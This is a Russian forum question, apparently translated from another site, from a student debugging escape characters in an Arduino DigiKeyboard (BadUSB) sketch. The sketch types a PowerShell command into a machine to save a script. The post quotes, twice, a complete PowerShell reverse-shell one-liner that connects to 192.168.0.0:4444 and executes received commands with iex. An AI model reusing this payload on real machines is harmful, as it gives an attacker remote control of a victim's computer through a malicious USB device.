Использование Powershell через ArduinoIDE (DigiKeyboard.h) ошибка / проблема - PullRequest
0 голосов
/ 22 марта 2020

Я учусь на степень бакалавра и хочу сосредоточиться на безопасности, поэтому я немного работал над обучением, насколько мог. Я был в процессе написания скрипта, в котором через Arduino IDE (используя Digikeyboard.h) я запускал powershell и передавал ему команду. Тем не менее, я оказался в рассоле. Насколько я могу судить, это связано с escape-символами. Digikeyboard использует (\) как escape, а powershell использует (`). Следующая строка доставляет мне проблемы, и я часами пытаюсь это исправить, и я просто не могу этого добиться.

DigiKeyboard.print("Set-Content -Path C:\\test.ps1 -Value '$sm=(New-Object Net.Sockets.TCPClient('192.168.0.0',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}'");

**

I нужно сохранить эту строку в файле .ps1, но из-за проблемы с символом перехода я не могу. Если я добавлю escape-символ Arduino, powershell не распознает его как escape-символ и сохранит мой ip в .ps1 как:

$sm=(New-Object Net.Sockets.TCPClient('\192.168.0.0\',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}'

, и если я использую escape-символ powershell (`), Arduino IDE не распознает его, и сценарий становится невозможным для запуска (и выдает USB НЕ ПРИЗНАННЫЙ), пока я не исправлю / не устраню ошибки. Например, если я наберу часть ip следующим образом:

''192.168.0.0''

В среде Arduino IDE не скомпилируется должным образом. Он не выдает никаких ошибок, но когда я компилирую скрипт на моем Digispark USB и тестирую его на моей основной машине, я получаю «USB не распознан или неисправен». Это продолжается до тех пор, пока я не уберу двойную ''.

Любая помощь будет очень признательна, поскольку мне это нужно для школы, и я ужасно смущен этим :(

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...